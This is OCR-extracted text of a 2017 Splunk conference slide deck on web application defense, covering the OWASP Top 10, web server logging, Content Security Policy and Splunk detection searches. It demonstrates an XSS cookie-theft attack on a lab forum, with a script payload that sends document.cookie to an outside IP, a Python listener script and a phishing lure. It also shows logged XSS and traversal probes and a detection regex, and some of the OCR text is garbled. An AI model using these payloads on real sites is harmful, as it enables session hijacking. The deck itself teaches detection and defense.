

Splunk and Credit Karma:

The Road to Web Application Defense Using Splunk and the OWASP Top 10

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September 28, 2017 | Washington, DC

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Agenda

The Road to Web Application Defense

- ► OWASP Top 10
- Web Server Logging and Configuration
- Mitigate and Detect XSS and Injection Techniques
- Use Cases
- Key Takeaways
- ►Q&A



OWASP Top 10



OWASP Top 10: Proposed Changes for 2017 (RC1)

OWASP Top 10 – 2013 (Previous)	OWASP Top 10 - 2017 (New)				
A1 – Injection	A1 – Injection				
A2 – Broken Authentication and Session Management	A2 – Broken Authentication and Session Management				
A3 – Cross-Site Scripting (XSS)	A3 – Cross-Site Scripting (XSS)				
A4 – Insecure Direct Object References - Merged with A7	A4 – Broken Access Control (Original category in 2003/2004)				
A5 – Security Misconfiguration	A5 – Security Misconfiguration				
A6 – Sensitive Data Exposure	A6 – Sensitive Data Exposure				
A7 – Missing Function Level Access Control - Merged with A4	A7 – Insufficient Attack Protection (NEW)				
A8 – Cross-Site Request Forgery (CSRF)	A8 – Cross-Site Request Forgery (CSRF)				
A9 – Using Components with Known Vulnerabilities	A9 – Using Components with Known Vulnerabilities				
A10 – Unvalidated Redirects and Forwards - Dropped	A10 – Underprotected APIs (NEW)				

Source: https://www.owasp.org/images/3/3c/OWASP_Top_10_-_2017_Release_Candidate1_English.pdf

.Screen?product id=FL-DSH-01&JSESSIONID=SD



OWASP Top 10: Proposed Changes for 2017 (RC1)


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OWASP Top 10: Proposed Changes for 2017 (RC1)



Source: https://www.owasp.org/images/3/3c/OWASP_Top_10_-_2017_Release_Candidate1_English.pdf

iet _.screen?category_id=GIFTs&JsE5SIONID=SDISLAFF10ADFF10 HTTP 1. "GET /oldlink?item?product_id=EL-DSH-01&JsE5SIONID=SDSL7FFADFF0 A0 131 5.17 14. 5.17 14.



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The New A7: Insufficient Attack Protection

Continuous (Active) Monitoring and Protection

- A balance between prevention and detection
- Must also consider dependencies (e.g. firewall rules, OS patch, user agents)
- You cannot monitor or protect what you do not know about
- ► There is always room for improvement with respects to visibility

A1: Injection Oldie but a goodie



"SQL Injection Fools Speed Traps and Clears Your Record"


category_id=GIFTS&JSESSIONID=SD1SL4FF10ADFF10 HTTP Product.screen?product_id=FL-DSH-01&JSESSIONID=SD5L7FF6ADFF9 /01d1.screen?product_id=FL-DSH-01&JSESSIONID=SD5SL7FF6ADFF9

JSESSIONID=SD5SL9FF1ADFF3 HTTP



A3: Cross-Site Scripting (XSS)

The one who won't go away





XSS Examples from BOTS v2.0




Product.screen?product id=FL-DSH-01&JSESSIONID=SD5L7FF6ADFF9



.**CONf**2017

Easy to Find Vulns, Often Exploits Too...

https://www.exploit-db.com/exploits/40749/





.conf2017

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Security Advisory - Curesec Research Team 1. Introduction 4 Affected Product: MyBB 1.8.6 Fixed in: 1.8.7 Fixed Version Link: http://resources.mybb.com/downloads/mybb_1807.zip Vendor Website: http://www.mybb.com/ Vulnerability Type: XSS Remote Exploitable: Yes Reported to vendor: 01/29/2016 Disclosed to public: 09/15/2016 Release mode: Coordinated Release 4 CVE: n/a 5 Credits Tim Coen of Curesec GmbH	DATA		e Exploits					
EDB-ID: 40749 Author: Curesec Research Team Published: 2016-11-10 CVE: N/A Type: Webapps Platform: PHP E-DB Vertfiel: O Exploit: © Download / [View Raw Vulnerable App: [] Prevous Exploit Security Advisory - Curesec Research Team 1. Introduction Affected Product: MyBB 1.8.6 Fixed in: 1.8.7 Fixed in: 1.8.7 Vendor Website: http://resources.mybb.com/downloads/mybb_1807.zip Vulnerability Type: XSS Reported to vendor: 01/29/2016 Dises ende: Coordinated Release Credits Tim Coen of Curesec GmbH			1	Shellcode	Papers	Google Hacking Database	Submit	Search
CVE: NA Type: Webapps Platform: PHP E-DB Verified: Image:		МуВВ	1.8.6 - 0	Cross-S	Site S	cripting		
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Testing for XSS with alert() May Not Be Damaging...

https://www.exploit-db.com/exploits/40749/

() 🖉 www.brewertalk.com/member.php?action=activate&uid=-1&co	ode="> <script>alert('대동')<%2fscript></th><th>×</th><th>Ŧ</th><th>â</th><th>0</th><th>۲</th><th>Ø</th><th>≡</th></tr><tr><th>brewertalk.com</th><th>Search & Member List</th><th>T Ca</th><th>lend</th><th>ar</th><th>E He</th><th>elp</th><th></th><th></th></tr><tr><td>Hello There, Guest! 📍 Login Register →</td><td>대동</td><td></td><td></td><td></td><td>Sear</td><td>ch</td><td></td><td></td></tr><tr><td>Craft Brew Forums</td><td>ОК</td><td></td><td></td><td></td><td></td><td></td><td></td><td></td></tr><tr><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td></tr></tbody></table></script>
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http://www.brewertalk.com/member.php?action=activate&uid=-1&code="><script>alert(%27%EB%8C%80%EB%8F%99%27)<%2fscript>



Transferring data from ec2-52-40-10-231.us-west-2.compute.amazonaws.com...



But Cookie Stealing / Session Hijacking Is...

dherrald - root@LAGER: ~ - #6

/microsoftuserfeedbackservice?metric=mybb[lastvisit]=1502722613.%20mybb[lastactive]=150

2723982;%20loginattempts=1;%2@adminsid=0d2035fa36349fd2f979acc59a7829af %20acploginatte

71.39.18.121 - - [14/Aug/2017 15:21:25] "GET /microsoftuserfeedbackservice?metric=mybb[

lastvisit]=1502722613;%20mybb[lastactive]=1502723982;%20loginattempts=1;%20adminsid=0d2

035fa36349fd2f979acc59a7829af;%20acploginattempts=0 HTTP/1.1" 302 -

splunk> BCSSS of the SOC 2017 conf2017

.

mpts=0

root@LAGER:~# python tinyhttp.py

serving at port 9999



A Little Spear Phishing

+ Social Engineering

RE: brewertalk.com				
(i) A Microsoft Corporation (US) https://outlook.office.com/owa/projection.aspx				
Prepiy all ✓ <a> The Delete Junk ✓ ••• •••				×
RE: brewertalk.com				
T thebeerguy2112@gmail.com Thu 8/10, 2:31 PM Kevin Lagerfield ≫	CZ	•	Reply all	~
Inbox				
Action Items				Ô
Hi Kevin, I think you are the new manager for <u>brewertalk.com</u> . I'm having trouble logging in. >From my new account. Can y on <u>this page</u> . -The Beer Guy	ou giv	ve it to	o me? I see erro	ors





Exploiting XSS

Malicious URL Redirect

RE: brewertalk.com						
(i) A Microsoft Corporation (US) https://outlook.office.com/owa/projection.aspx	(i)					
Peply all ✓ milto:model milto:model milto:boots-align: center milto:boots-align: center<td></td><td></td><td>×</td>			×			
RE: brewertalk.com						
thebeerguy2112@gmail.com	¢	٠	♦ Reply all ∨			

%3Cscript%3Edocument.location%3D%22http%3A%2F%2F45.77.65.211%3A9999%2Fmicr
osoftuserfeedbackservice%3Fmetric%3D%22%20%2B%20document.cookie%3B%3C%2Fscript%3E'>








Exploiting XSS

Malicious URL Redirect – Decoded

RE: brewertalk.com			
(i) A Microsoft Corporation (US) https://outlook.office.com/owa/projection.aspx			
Peply all ✓ million Delete Junk ✓ •••			×
RE: brewertalk.com			
thebeerguy2112@gmail.com	5	٠	Reply all

<script>document.location="http://45.77.65.211:9999/microsoftuserfeedbacks
ervice?metric=" + document.cookie;</script>'>







Sample Python Cookie Snarfer / Redirector

```
#!/usr/bin/env python2.7
  import SimpleHTTPServer
2
  import SocketServer
 3
   class myHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
 4
      def do_GET(self):
 5
          print self.path
 6
 7
          self.send_response(302)
          new_path = '%s%s'%('http://www.brewertalk.com', '/index.php')
 8
          self.send_header('Location', new_path)
9
          self.end_headers()
10
11
12
   PORT = 9999
   handler = SocketServer.TCPServer(("", PORT), myHandler)
13
  print "serving at port 9999"
14
  handler.serve_forever()
15
```





Result: Steal adminsid Authentication Cookie

dherrald — root@LAGER: ~ — #6

/microsoftuserfeedbackservice?<u>metric-mybb[lastvisit]-1502722613.%20mybb[lastactive]=150</u>

2723982;%20loginattempts=1;%2@adminsid=0d2035fa36349fd2f979acc59a7829af %20acploginatte

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splunk> BCOSSS of the SOC 2017 conf2017

.

mpts=0

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httpOnly Oversight

https://github.com/mybb/mybb/issues/1622

This repository Search Pull requests Issues Marketplace Gist	\$ +• ∏ •
Watch - 97	★ Star 414 % Fork 275
<> Code ① Issues 131 ⑦ Pull requests 32 Ⅲ Projects 0 Insights -	
Image: State of the state	New issue
PirataNervo commented on Nov 17, 2014 Contributor + 🙂	Assignees
Add httpOnly flag for adminSID cookie.	Stefan-ST
PirataNervo added enhancement 1.8 labels on Nov 17, 2014	Labels
PirataNervo self-assigned this on Nov 17, 2014	enhancement s:fixed
TrataNervo added this to the 1.8.3 milestone on Nov 17, 2014	Projects None yet
 Stefan-ST added a commit to Stefan-ST/mybb that referenced this issue on Nov 19, 2014 Stefan-ST added a commit to Stefan-ST/mybb that referenced this issue on Nov 19, 2014 Fixes #1622 httpOnly for adminSID cookie Odcbed2 	Milestone






Web Server Logging

Fundamentals



Web Server Usage



Source: https://w3techs.com/technologies/overview/web_server/all



Web Server Logging

Ensure you are collecting the right data

- Comprehensive and flexible
- ► Key log files:
 - Error log
 - Access log

() (07/Jan 18:10;57:153] "GET /Category.screen?category_id=GIFTS&LSESSIONID=SDISLAFF10ADFF10 HTTP 1.1" 404 720 "http://buttercup-shopping.com/category.screen?category.screen?category_id=GIFTS&LSESSIONID=SDISLAFF10ADFF10 HTTP 1.1" 404 3322 "http://buttercup-shopping.com/category.screen?category.screen?category.id=GIFTS&LSESSIONID=SDISLAFF10ADFF10 HTTP 1.1" 404 3322 "http://buttercup-shopping.com/category.screen?category.screen?category.id=GIFTS&LSESSIONID=SDISLAFF10ADFF10 HTTP 1.1" 404 3322 "http://buttercup-shopping.com/category.screen?category.screen?category.screen?category.screen?category.id=GIFTS&LSESSIONID=SDISLAFF10ADFF10 HTTP 1.1" 404 3322 "http://buttercup-shopping.com/category.screen?category.screen?category.screen?category.id=GIFTS&LSESSIONID=SDISLAFF10ADFF10 HTTP 1.1" 404 3322 "http://buttercup-shopping.com/category.screen?category.screen?category.screen?category.id=GIFTS&LSESSIONID=SDISLAFF10ADFF10 HTTP 1.1" 404 3322 "http://buttercup-shopping.com/category.screen?category.screen?category.screen?category.screen?category.id=GIFTS&LSESSIONID=SDISLAFF10ADFF10 HTTP 1.1" 404 3322 "http://buttercup-shopping.com/category.screen?



Apache Web Server

Going past the default configuration file

- Primary configuration file: httpd.conf
- Scoping directives to:
 - Directories
 - Files
 - Location
 - Virtual hosts
- Modules offer flexibility and extensibility into configuration
 - modules/mod_headers.so
 - modules/mod_log_config.so



Apache Access Logging

► Fields

°∂a	%B	%r	% S	%d	%{VARNAME}i	%U	%H	%T
Client IP address of the request	Size of response in bytes	First line of request	Status	Query string	The contents of VARNAME: header line(s) in the request sent to the server	URL path, no query string	Request protocol	The time taken to serve the request, in second

and many more...

▶ Examples

LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}I" \"%{User-Agent}i\"" combined LogFormat "%h %l %u %t \"%r\" %>s %b" common CustomLog "/var/log/httpd/access_log" combined



NGINX Access Logging

Use the log_format directive to change the format of logged messages

Use the access_log directive to specify the location of the log and its format

access_log /var/log/nginx/access.log log_file combined;



IIS Access Logging

► IIS log file formats:

1. W3C Extended Log File Format

#Software: Internet Information Services 6.0
#Version: 1.0
#Date: 2001-05-02 17:42:15
#Fields: time c-ip cs-method cs-uri-stem sc-status cs-version
17:42:15 172.16.255.255 GET /default.htm 200 HTTP/1.0

2. IIS Log File Format

192.168.114.201, -, 03/20/01, 7:55:20, W3SVC2, SALES1, 172.21.13.45, 4502, 163, 3223, 200, 0, GET, /DeptLogo.gif, -, 172.16.255.255, anonymous, 03/20/01, 23:58:11, MSFTPSVC, SALES1, 172.16.255.255, 60, 275, 0, 0, 0, PASS, /Intro.htm, -,

3. NCSA Common Log File Format

172.21.13.45 - Microsoft\fred [08/Apr/2001:17:39:04 -0800] "GET /scripts/iisadmin/ism.dll?http/serv HTTP/1.0" 200 3401



Application Logging

Quick overview

- Error logs are critical for operational insight
- Customize logging for your applications
 - Using a library like Monolog

```
<?php
use Monolog\Logger;
use Monolog\Formatter\JsonFormatter.php
// create a log channel
$log = new Logger('name');
// create a JSON formatter
$formatter = new JsonFormatter();
$log->pushHandler(new StreamHandler('path/to/your.log', Logger::WARNING));
// add records to the log
$log->warning('Foo');
$log->error('Bar');
?>
```



Collection

Syslog-NG

```
source s_access {
    file("/var/log/httpd/access_log" flags(no-parse));
};
destination d_syslog_udp {
    syslog("192.168.0.2" transport("udp") port(514));
};
log { source(s_access);
    destination(d_syslog_tcp);
};
```

Universal Forwarder

[monitor:///var/log/httpd/access*.log]
sourcetype=apache:access

But, first let us talk defense ...



Protecting the Web App Through the Web Server



Technology	April 2016	October 2016	June 2017	% Change
Content Security Policy (CSP)	.005% <u>1</u> .012% 2	.008% <u>1</u> .021% ²	.018% <u>1</u> .043% 2	+125%
Cookies (Secure/HttpOnly) ³	3.76%	4.88%	6.50%	+33%
Cross-origin Resource Sharing (CORS)	93.78%	96.21%	96.55%	+.4%
HTTPS	29.64%	33.57%	45.80%	+36%
HTTP \rightarrow HTTPS Redirection	5.06% <u>5</u> 8.91% <u>6</u>	7.94% ⁵ 13.29% ⁶	14.38% <u>5</u> 22.88% <u>6</u>	+57%
Public Key Pinning (HPKP)	0.43%	0.50%	0.71%	+42%
— HPKP Preloaded ⁷	0.41%	0.47%	0.43%	-9%
Strict Transport Security (HSTS) ⁸	1.75%	2.59%	4.37%	+69%
— HSTS Preloaded ⁷	.158%	.231%	.337%	+46%
Subresource Integrity (SRI)	0.015% ⁹	0.052% <u>¹⁰</u>	0.113% <u>¹⁰</u>	+117%
X-Content-Type-Options (XCTO)	6.19%	7.22%	9.41%	+30%
X-Frame-Options (XFO) ¹¹	6.83%	8.78%	10.98%	+25%
X-XSS-Protection (XXSSP) ¹²	5.03%	6.33%	8.12%	+28%



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Cross-origin Resource Sharing (CORS)	93.78%	96.21%	96.55%	+.4%
HTTPS	29.64%	33.57%	45.80%	+36%
HTTP \rightarrow HTTPS Redirection	5.06% <u>5</u> 8.91% <u>6</u>	7.94% <u>5</u> 13.29% <u>6</u>	14.38% ⁵ 22.88% ⁶	+57%
Public Key Pinning (HPKP)	0.43%	0.50%	0.71%	+42%
— HPKP Preloaded ⁷	0.41%	0.47%	0.43%	-9%
Strict Transport Security (HSTS) ⁸	1.75%	2.59%	4.37%	+69%
— HSTS Preloaded ⁷	.158%	.231%	.337%	+46%
Subresource Integrity (SRI)	0.015% ⁹	0.052% <u>¹⁰</u>	0.113% <u>¹⁰</u>	+117%
X-Content-Type-Options (XCTO)	6.19%	7.22%	9.41%	+30%
X-Frame-Options (XFO) ¹¹	6.83%	8.78%	10.98%	+25%
X-XSS-Protection (XXSSP) ¹²	5.03%	6.33%	8.12%	+28%



Protecting the Web App Through the Web Server

Content Security Policy (CSP)

► What is CSP?

• Controls the resources a particular page can fetch or execute

- ► OWASP Top 10 A1, A3, A7
 - Mitigates the risk of content-injection attacks
 - Framework to reduce the privilege of applications
 - Detect flaws being exploited in the wild
- Not a first line of defense

Content Security Policy (CSP) Directives

CSP Level 1

- connect-src
- default-src
- ▶ font-src
- ► frame-src
- ▶ img-src
- media-src
- object-src
- sandbox
- script-src
- style-src
- ▶ report-uri

CSP Level 2

- base-uri
- block-all-mixed-content
- + child-src
- form-action
- frame-ancestors
- plugin-types
- reflected-xss
- + require-sri-for
- upgrade-insecurerequests

CSP Level 3

- disown-opener*
- manifest-src
- navigation-to*
- report-to*
- + strict-dynamic
- + worker-src
- * Experimental



Content Security Policy 1.0

	Supp	orted	Not Sup	oported	Partial S	Support	Support L	Jnknown	
Content S	Security Po	licy 1.0 ∎-0	CR			G	ilobal	89.48% +	3.72% = 93.2%
Mitigate cross-site scripting attacks by whitelisting allowed sources of script, style, and other resources.									
IE	Edge *	Firefox	Chrome	Safari	Opera	iOS Safari *	Opera Mini *	Android * Browser	Chrome for Android
			49						
		52	58			9.3		4.4	
	14	54	59			10.2		4.4.4	
11	15	55	60	10.1	46	10.3	all	56	59
	16	56	61	11	47	11			
		57	62	TP	48				
		58	63						

Source: http://caniuse.com/#feat=contentsecuritypolicy

product.screen?product_id=FL-DSH-01&JSESSIONID=SD5



Content Security Policy Level 2

	Supp	orted	Not Su	pported	Partial	Support	Support L	Jnknown	
Content S	Security Pc	licy Level 2	2 🗈 - CR			Gl	obal	71.06% + 5	.72% = 76.79%
of script, style nonce-source			-						
IE	Edge *	Firefox	Chrome	Safari	Opera	iOS Safari *	Opera Mini *	Android * Browser	Chrome for Android
			49						
		⁷ 52	58			9.3		4.4	
	14	⁷ 54	59			10.2		4.4.4	
11	15	⁷ 55	60	10.1	46	10.3	all	56	59
	16	⁷ 56	61	11	47	11			
		⁷ 57	62	ТР	48				
		⁷² 58	63						

Source: http://caniuse.com/#feat=contentsecuritypolicy2

screen?product id=FL-DSH-01&JSH

splunk> .conf2017


CSP Reporting Directive

Content-Security-Policy-Report-Only vs. Content-Security-Policy

- block-uri: the URI that attempted to load the content, violating the CSP
- **document-uri**: the URI of the document which was in violation
- original-policy: the policy that was being enforced at the time of violation
- referrer: the referrer for the violation


Screen?product id=FL-DSH-01&JSESS

- **violated-directive**: which directive was responsible for this alert being generated
- **reporting-uri**: URI to send a JSON formatted violation report



CSP Report-Only vs. Enforce

Enforce can break stuff...



Mixed Content: The page at 'https://192.241.214.210/index.php?route=product/category&path=18' was loaded over index.php:1 HTTPS, but requested an insecure Content Security Policy reporting endpoint 'http://cewulf.com:8088/services/collector/ra w?token=06024BBF-8AD7-41E7-816A-57F262103832&channel=00872DC6-AC83-4EDE-8AFE-8413C3825C4C'. This request has been blocked; the content must be served over HTTPS.

(%:10:57:153] 'GET /category.screen?category_id=GIFT5&JSESSIONID=SDISL4FF18ADEF18 HTTP 1.1" 404 720 "http://buttercup-shopping.com/catt.do?action=view&itemId=EST-GMM FT CLR 1.18:10:57:123] 'GET /category.screen?category_id=GIFT5&JSESSIONID=SDISL4FF18ADEF18 HTTP 1.1" 404 720 "http://buttercup-shopping.com/catt.do?action=view&itemId=EST-GMM uct_id=Rp.1.1.9:56:156] "GET /orduct.screen?product_id=GIFT5&JSESSIONID=SDISL4FF18ADEF18 HTTP 1.1" 404 720 "http://buttercup-shopping.com/catt.do?action=view&itemId=EST-J8&DF78 Http://buttercup-shopping.com/catt.do?action=view&itemId=EST-J8&DF78 Http://buttercup-shopping.com/catt.do?action=view&itemId=EST-J8&DF78 Http://buttercup-shopping.com/catt.do?action=view&itemId=EST-J8&DF78 Http://buttercup-shopping.com/cattegory_id=GIFT5&JSESSIONID=SDISL4FF18ADEF18 HTTP 1.1" 200 I318 "http://buttercup-shopping.com/catt.do?action=view&itemId=EST-J8&DF78 Http://buttercup-shopping.com/cattegory_id=GIFT5&JSESSIONID=SDISL4FF18ADEF3 HTTP 1.1" 200 I318 "http://buttercup-shopping.com/cattegory_id=EST-J8&DF78 Http://buttercup-shopping.com/cattegory_id=EST-J6&JSESSIONID=SDISL4FF18ADEF3 HTTP 1.1" 200 I318 "http://buttercup-shopping.com/cattegory_id=EST-J6&JSESSIONID=SDISL4FF18ADEF3 HTTP 1.1" 200 I318 "http://butterId=EST-J6&JSESSIONID=SDISL4FF18ADEF3 HTTP 1.1" 200 I318 "http://butterId=EST-J6&JSESSIONID=SDISL4





Content-Security-Policy: <policy-directive>; <policy-directive>

- * \rightarrow Wildcard, allows everything
- 'none' \rightarrow Prevents loading resources from any source
- 'self' \rightarrow Allows loading resources from the same origin (same scheme, host and port)
- ▶ data: → Allows loading resources via the data scheme (e.g. Base64 encoded images)
- domain.example.com \rightarrow Allows loading resources from the specified domain
- ▶ *.example.com → Allows loading resources from any subdomain under example.com
- ▶ https://my.example.com → Allows loading resources only over HTTPS matching the given domain
- ▶ https: → Allows loading resources only over HTTPS on any domain
- ► 'unsafe-inline' → Allows use of inline source elements and JavaScript
- 'unsafe-eval' \rightarrow Allows use of dynamic code evaluation



CSP Server Side Configuration

Apache CSP Header

Header set Content-Security-Policy "default-src 'self';"

NGINX CSP Header

add header Content-Security-Policy "default-src 'self';";

► IIS CSP Header

```
<system.webServer>
<httpProtocol>
<customHeaders>
<add name="Content-Security-Policy" value="default-src 'self';" />
</customHeaders>
</httpProtocol>
</system.webServer>
```



CSP Examples

https://www.creditkarma.ca

connect-src 'self' https://creditkarmacdn-a.akamaihd.net https://6033355.fls.doubleclick.net *.creditkarma.com *.nr-data.net
https://www.google-analytics.com ;
default-src ['self' [https://creditkarmacdn-a.akamaihd.net] https://6033355.fls.doubleclick.net [*.creditkarma.com] (*.nr-data.net];
(font-src)('self')(https://creditkarmacdn-a.akamaihd.net)(https://6033355.fls.doubleclick.net)(*.creditkarma.com)(*.nr-data.net)(data:)
(img-src)('self')(https://creditkarmacdn-a.akamaihd.net)(https://6033355.fls.doubleclick.net)(*.creditkarma.com)(*.nr-data.net)
(https://www.google-analytics.com)(https://bat.bing.com)(http://bat.r.msn.com)(https://www.facebook.com)(data:)
https://ckpoc.imgix.net/ seal.digicert.com placehold.it placeholdit.imgix.net ;
script-src self https://creditkarmacdn-a.akamaihd.net https://6033355.fls.doubleclick.net .creditkarma.com .nr-data.net
(https://www.google-analytics.com) (https://www.googleadservices.com) (https://bat.bing.com) (https://connect.facebook.net)
'unsafe-inline' seal.digicert.com js-agent.newrelic.com znbjaa25pmosfhu7p-creditkarma.siteintercept.qualtrics.com ;
style-src 'self' https://creditkarmacdn-a.akamaihd.net https://6033355.fls.doubleclick.net *.creditkarma.com *.nr-data.net
'unsafe-inline' data: ;
report-uri https://sponge.creditkarma.com/csp-report

Source: https://cspvalidator.org/#url=https://www.creditkarma.ca



Diving into a Violation

Value of blocking

<pre>a.akamaihd.net https://6033355.fls.do 'self' https://creditkarmacdn-a.akama https://ckpoc.imgix.net/ seal.digicer analytics.com https://www.googleadser 'self' https://creditkarmacdn-a.akama referrer: https://outlook.live.c script-sample:</pre>	karma.ca/login lf' https://creditkarma.dn-a.akamaihd.net https://6033355.fls.doubleclick.net *.creditkarma.com *.nr-data.net https://www.google-analytics.com;default-src 'self' https://creditkarmacdn- ubleclick.net *.creditkarma.com *.nr-data.net;font-src 'self' https://creditkarmacdn-a.akamaihd.net https://6033355.fls.doubleclick.net *.creditkarma.com *.nr-data.net data:;img-src ihd.net https://6033351.fls.doubleclick.net *.creditkarma.com *.nr-data.net https://www.google-analytics.com https://bat.bing.com http://bat.r.msn.com https://www.facebook.com data: t.com placehold.it pla.eholdit.imgix.net;script-src 'self' https://creditkarmacdn-a.akamaihd.net https://6033355.fls.doubleclick.net *.creditkarma.com *.nr-data.net https://www.google- vices.com https://bat bing.com https://connect.facebook.net 'unsafe-inline' seal.digicert.com js-agent.newrelic.com znbjaa25pmosfhu7p-creditkarma.siteintercept.qualtrics.com;style-src ihd.net https://603335.fls.doubleclick.net *.creditkarma.com *.nr-data.net 'unsafe-inline' data:;report-uri https://sponge.creditkarma.com/csp-report
	<pre>(function () { var cdn77 = "//1179115946.rsc.cdn77.org"; var dun1 = encodeURIComponent(document.domain); if (dur1.substr(0, 4) == 'www.') dur1 = duit1.substr(0, 4) == 'www.') dur1 = duit1.substr(4); var domains = " odlo.com secure.shareit.com 003.ru 0800-krankenkassen.de 1-2-3.tv 1-2-fly.com 1-800-bakery.com 1000books.de cdn.1001-bijoux.fr 1001-nacht- feestwinkel.ni 1001bebes.com 10011ts.com 1001plates.de 1001pneus.fr 100dayloans.com 100fabrik.ru 1001chny.ru 100percentpure.de 10tea.ru 101p.com body- change.net 115.112.238.32 111.ru 122carhire.com 121doc.com 121workwear.com 123 bloemen.n1 123.ru 1234map1r.com 123grandprix.com 121bder.com 123biderfitesten.n1 123lenestartikelen- winkel.n1 123greadprix.com 123grandprix.com 123biderfitesten.n1 123tent.n1 123gmeebt.de 123gortfitesen.n1 123tannenbaum.de 123test.n1 123tent.n1 123gmeebt.de 123gortfitesen.n1 123tannenbaum.de 123test.n1 123tent.n1 123gmeebt.de 120sportfitesen.n1 123tent.n1 123gmeebt.de 120sportfitesen.n1 123tent.n1 123gmeebt.de 120sportfitesen.n1 123tent.n1 123gmeebt.de 120sportfitesen.n1 123tent.n1 </pre>
<pre><0.82 160.02 ; 50.0 [07/10:57:18]</pre>	splunk's conf2017


:category_id=GIFTS&JSESSIONID=SDISL4FF10ADFF10 HTTP 1. .SCreen?product_id=FL-DSH-01&JSESSIONID=SD5SL7FF6ADFF9

200 1318

CONT201


Architecture #1 – Collection Service

Scripted Collection Services + UF



Architecture #2 – HEC

HTTP Event Collector



Results & Use Cases



Use Case #1

Utilizing web logs for investigation

- Leverage data models and acceleration
- ► Use dashboards for quick and efficient searching of the data

🖬 New F	Pivot			Save As V Clear Ec	dit Dataset	НТТ	rpd 🗸
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Split Rows	✓ _time		Column Values				
clientip 🌣 🖌	_time \$	Distinct Values of uri ≎				/ Du	ration 🌣 🖌
71.145.210.215	2017-08-06 09:51:00	/index.php?route=product/search&search=%3E%22%3E%3Cscript%3Ealert(%22XSS%22)%3C%2Fscript%3E%26 /index.php?route=product/search/ajax&keyword=%3E%22%3E%3Cscript%3Ealert(%22XSS%22)%3C/script%3E&					1
71.145.210.215	2017-08-06 09:52:00	/index.php?route=product/search&search=%22%3E%3CSTYLE%3E%40import%22javascript%3Aalert(%27XSS%27)% /index.php?route=product/search&search=%27%27%3BI-%22%3CXSS%3E%30%26%7B()%7D /index.php?route=product/search&search=%27%27;I-%22%3CXSS%3E=&{()} /index.php?route=product/search&search=%3E%22%3E%3Cscript%3Ealert(%22XSS%22)%3C%2Fscript%3E%26	22%3B%3C%2FSTYLE%3E				32
71.145.210.215	2017-08-06 09:53:00	/index.php?route=product/search&search=%27%3E%22%3E%3Cscript%3Ealert(%22XSS%22)%3C/script%3E& /index.php?route=product/search&search=%3CIMG%20SRC%3D%22javascript%3Aalert(%27XSS%27)%3B%22%3E					16
71.145.210.215	2017-08-06 10:27:00	/xss.php?name=guest%3Cscript%3Ealert(%27attacked%27)%3C/script%3E					0
71.145.210.215	2017-08-06 10:37:00	/xss.php?name=%3Cscript%3Ealert%2842%29;%3C/script%3E					26
71.145.210.215	2017-08-06 10:38:00	/xss.php?name=%3Cscript%3Ealert(42);%3C/script%3E					0
71.145.210.215	2017-08-06 10:58:00	/xss.php?name=%3Cscript%3Ealert(42);%3C/script%3E					0
71.145.210.215	2017-08-06 11:00:00	/xss.php?name=%3Cimg%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26 /xss.php?name=%3E%22%3E%3Cscript%3Ealert(%22XSS%22)%3C/script%3E&	%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert(%26quot;%26%23x20;XSS%26%23x20;Tes	t%26%23x20;Successful%26quo	t;)%3E		23



Use Case #2

Utilizing web logs for application security inspection

- Leverage open-source detection signatures from recognized tools, such as ModSecurity Core Rule Set (CRS)
- Write custom content for detections
- Use threat intel to correlate against known indicators
- Apply statistical analysis around sessions
- Leverage as a secondary alerting mechanism against web data

Example

Looking for directory traversal: uri_path_Values

Use tstats to search for sessions with suspicious content in key fields

Q New Search		Save As ∨	Close
<pre>regex uri_path_Values= /))(?:%(?:(?:f(?:(?:</pre>	path) as uri_path_Values FROM datamodel=Web by Web.src, Web.status "(?:\x5c (?:%(?:c(?:0%(? [2aq]f 5c 9v) 1%(?:[19p]c 8s af)) 2(?:5(?:c(?:0%25af 1%259c) 2f 5c) %46 f) (?:(?:f(?:8%8)?0%8 e)0%80%a bg%q)f %3(?:2(?:%(?:%6 4)6 F) 5%%63) u(?:221[56] 002f EFC8 F025) 1u 5c) 0x(?:2f 5c) c%80 8)%8)?0%8 e)0%80%ae 2(?:(?:5(?:c0%25a 2))?e %45) u(?:(?:002 ff0)e 2024) %32(?:%(?:%6 4)5 E) c0(?:%[256aef]e \.)) \.(?:%0[01] \?)? \?\.?[0x2e){2}(?:\x5c (?:%(?:c(?:0%(?:[2aq]f 5c 9v) 1%(?:[19p]c 8s af)) 2(?:5)) 0x(?:2f 5c) (0x) 1 (?)? (?:(?:f(?:%88))?0%8 e)0%80%a bg%q)f %3(?:c(?:0%(?:[2aq]f 5c 9v) 1%(?:[19p]c 8s af)) 2(?:5) 0x(?:2f 5c) (0x) 1 (?:(?:f(?:%88))?0%8 e)0%80%a bg%q)f %3(?:2(?:%(?:%6 4)6 F) 5%%63) u(?:221[56] 002f EFC8 F025) 1u 5c) 0x(?:2f 5c) \/))"	Last 7 days ∽	, Q
inalizing job No Event Samp	Job 🗸 II 🔳 🁌 👼	✓ Smart	t Mode ~
Events Patterns	Statistics (2) Visualization		
100 Per Page ∽ ∕Format ∽	Preview 🗸		
Veb.src 🌣 🖌 Web.status 🗘	uri_path_Values ≎		
	//class.classLoader.resources.cacheObjectMaxSize=foo //ASPSamp/AdvWorks/equipment/catalog_type.asp?ProductType=Ishell(%22c:cmd.exe%22) //AdvWorks/equipment/catalog_type.asp?ProductType=Ishell(%22c:cmd.exe%22) //cFIDE/AIR/ //CFIDE/adminapi/dministrator.cfc? //CFIDE/adminapi/customtags/dss.cfm //CFIDE/adminapi/customtags/fusebox.cfm /CFIDE/adminapi/customtags/fusebox.cfm /CFIDE/adminapi/customtags/soft404validationcheck.cfm /CFIDE/adminapi/customtags/soft404validationcheck.cfm /CFIDE/adminapi/customtags/soft404validationcheck.cfm /CFIDE/adm		



Example (cont.)

Looking for directory traversal: Web.src, Web.status

Use tstats to search for sessions with suspicious content in key fields

Q New Search	Save As ∨	Clo
